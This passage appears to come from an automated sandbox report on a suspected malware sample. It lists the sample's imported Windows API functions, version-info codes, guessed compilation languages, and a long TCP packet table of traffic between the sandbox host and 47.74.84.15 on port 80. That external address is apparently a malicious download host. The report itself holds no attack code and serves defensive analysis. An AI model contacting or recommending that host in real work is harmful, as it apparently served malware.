GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, EncodePointer, SetHandleCount, GetStdHandle, InitializeCriticalSectionAndSpinCount, GetFileType, DeleteCriticalSection, QueryPerformanceCounter, GetTickCount, GetCurrentThreadId, GetCurrentProcessId, InterlockedIncrement, ExitProcess, GetModuleFileNameA, FreeEnvironmentStringsW, WideCharToMultiByte, GetEnvironmentStringsW, IsBadReadPtr, TlsAlloc, TlsSetValue, HeapCreate, WriteFile, GetACP, GetOEMCP, GetCPInfo, OutputDebugStringA, WriteConsoleW, OutputDebugStringW, RtlUnwind, SetFilePointer, GetConsoleCP, HeapAlloc, HeapReAlloc, HeapSize, HeapQueryInformation, HeapFree, FlushFileBuffers, GetStringTypeW, LCMapStringW, MultiByteToWideChar, IsProcessorFeaturePresent, SetStdHandle, CloseHandle, CreateFileW, RaiseException
USER32.dll	GetMenuInfo, GetMessageTime, GetListBoxInfo
GDI32.dll	GetBitmapBits

Version Infos

Description	Data
Translations	0x0512 0x023c

Possible Origin

Language of compilation system	Country where language is spoken	Map
Divehi; Dhivehi; Maldivian	Maldives
Spanish	Paraguay

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 9, 2021 22:20:48.476185083 CET	49779	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:48.769392967 CET	80	49779	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:48.773166895 CET	49779	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:48.773745060 CET	49779	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:48.773768902 CET	49779	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:49.066751957 CET	80	49779	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:49.752573013 CET	80	49779	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:49.752652884 CET	49779	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:49.756762981 CET	49779	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:49.787431955 CET	49780	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:50.049923897 CET	80	49779	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:50.087162018 CET	80	49780	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:50.087317944 CET	49780	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:50.087435007 CET	49780	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:50.087461948 CET	49780	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:50.387048960 CET	80	49780	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:50.387072086 CET	80	49780	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:51.068881035 CET	80	49780	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:51.069015980 CET	49780	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:51.069650888 CET	49780	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:51.112175941 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:51.369502068 CET	80	49780	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:51.415752888 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:51.417188883 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:51.417298079 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:51.762712955 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.278337955 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.278364897 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.278382063 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.278403044 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.278423071 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.278436899 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:52.278445005 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.278469086 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.278480053 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:52.278490067 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.278510094 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.278517962 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:52.278532028 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.278543949 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:52.278580904 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:52.582031012 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.582056999 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.582076073 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.582093954 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.582112074 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.582129955 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.582143068 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.582159996 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.582164049 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:52.582171917 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.582186937 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.582201004 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.582212925 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.582226038 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.582238913 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.582252026 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.582263947 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.582276106 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.582294941 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.582300901 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:52.582307100 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.582314968 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:52.582320929 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.582350016 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:52.582439899 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:52.885854006 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.885885000 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.885904074 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.885921001 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.885937929 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.885953903 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.885963917 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:52.885972023 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.885991096 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.885998011 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:52.886009932 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.886027098 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.886043072 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.886053085 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:52.886060953 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.886079073 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.886087894 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:52.886096954 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.886111975 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:52.886113882 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.886132956 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.886142015 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:52.886152983 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.886171103 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.886176109 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:52.886188030 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.886207104 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.886209965 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:52.886224985 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.886245966 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.886254072 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.886262894 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:52.886277914 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.886284113 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.886298895 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.886301994 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:52.886316061 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.886333942 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.886341095 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:52.886349916 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.886368036 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.886369944 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:52.886385918 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.886401892 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.886410952 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:52.886418104 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.886435986 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.886445999 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:52.886452913 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.886470079 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.886477947 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:52.886487007 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.886503935 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.886521101 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.886528969 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:52.886537075 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:52.886564970 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:52.886583090 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.190119028 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.190148115 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.190165043 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.190184116 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.190201998 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.190211058 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.190218925 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.190236092 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.190254927 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.190263033 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.190269947 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.190290928 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.190309048 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.190324068 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.190327883 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.190346003 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.190350056 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.190365076 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.190393925 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.190404892 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.190416098 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.190421104 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.190423965 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.190438032 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.190443039 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.190463066 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.190464020 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.190481901 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.190493107 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.190500021 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.190509081 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.190519094 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.190537930 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.190557003 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.190562963 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.190578938 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.190592051 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.190598011 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.190629005 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.190650940 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.190665960 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.190677881 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.190690994 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.190706968 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.190718889 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.190732002 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.190752029 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.190767050 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.190781116 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.190793991 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.190804005 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.190814018 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.190823078 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.190833092 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.190844059 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.190854073 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.190864086 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.190872908 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.190876961 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.190881968 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.190888882 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.190895081 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.190901041 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.190906048 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.190912962 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.190917969 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.190922976 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.190927029 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.190932035 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.190937996 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.190943003 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.494534016 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.494605064 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.494645119 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.494663954 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.494707108 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.494749069 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.494764090 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.494790077 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.494829893 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.494838953 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.494872093 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.494910002 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.494923115 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.494952917 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.494995117 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.494998932 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.495039940 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.495079994 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.495084047 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.495119095 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.495158911 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.495162964 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.495198965 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.495237112 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.495244026 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.495276928 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.495317936 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.495321035 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.495354891 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.495393038 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.495398045 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.495433092 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.495472908 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.495476007 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.495516062 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.495553970 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.495558977 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.495594978 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.495634079 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.495636940 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.495672941 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.495712042 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.495724916 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.495753050 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.495791912 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.495795965 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.495831966 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.495872021 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.495876074 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.495912075 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.495951891 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.495959044 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.495989084 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.496028900 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.496036053 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.496066093 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.496105909 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.496108055 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.496145964 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.496184111 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.496187925 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.496223927 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.496263981 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.496267080 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.496304035 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.496344090 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.496349096 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.496387959 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.496428967 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.496431112 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.496469975 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.496514082 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.800225019 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.800312042 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.800369978 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.800419092 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.800431967 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.800467968 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.800476074 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.800508976 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.800546885 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.800580978 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.800590992 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.800633907 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.800635099 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.800683022 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.800697088 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.800718069 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.800740957 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.800760984 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.800818920 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.800868034 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.800895929 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.800909996 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.800915956 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.800961971 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.800968885 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.801028967 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.801063061 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.801100016 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.801100969 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.801137924 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.801153898 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.801187992 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.801239967 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.801246881 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.801287889 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.801335096 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.801342964 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.801373959 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.801420927 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.801424980 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.801465988 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.801503897 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.801518917 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.801541090 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.801577091 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.801588058 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.801615000 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.801651001 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.801687956 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.801716089 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.801744938 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.801748037 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.801780939 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.801785946 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.801798105 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.801824093 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.801872969 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.801875114 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.801909924 CET	80	49781	47.74.84.15	192.168.2.4
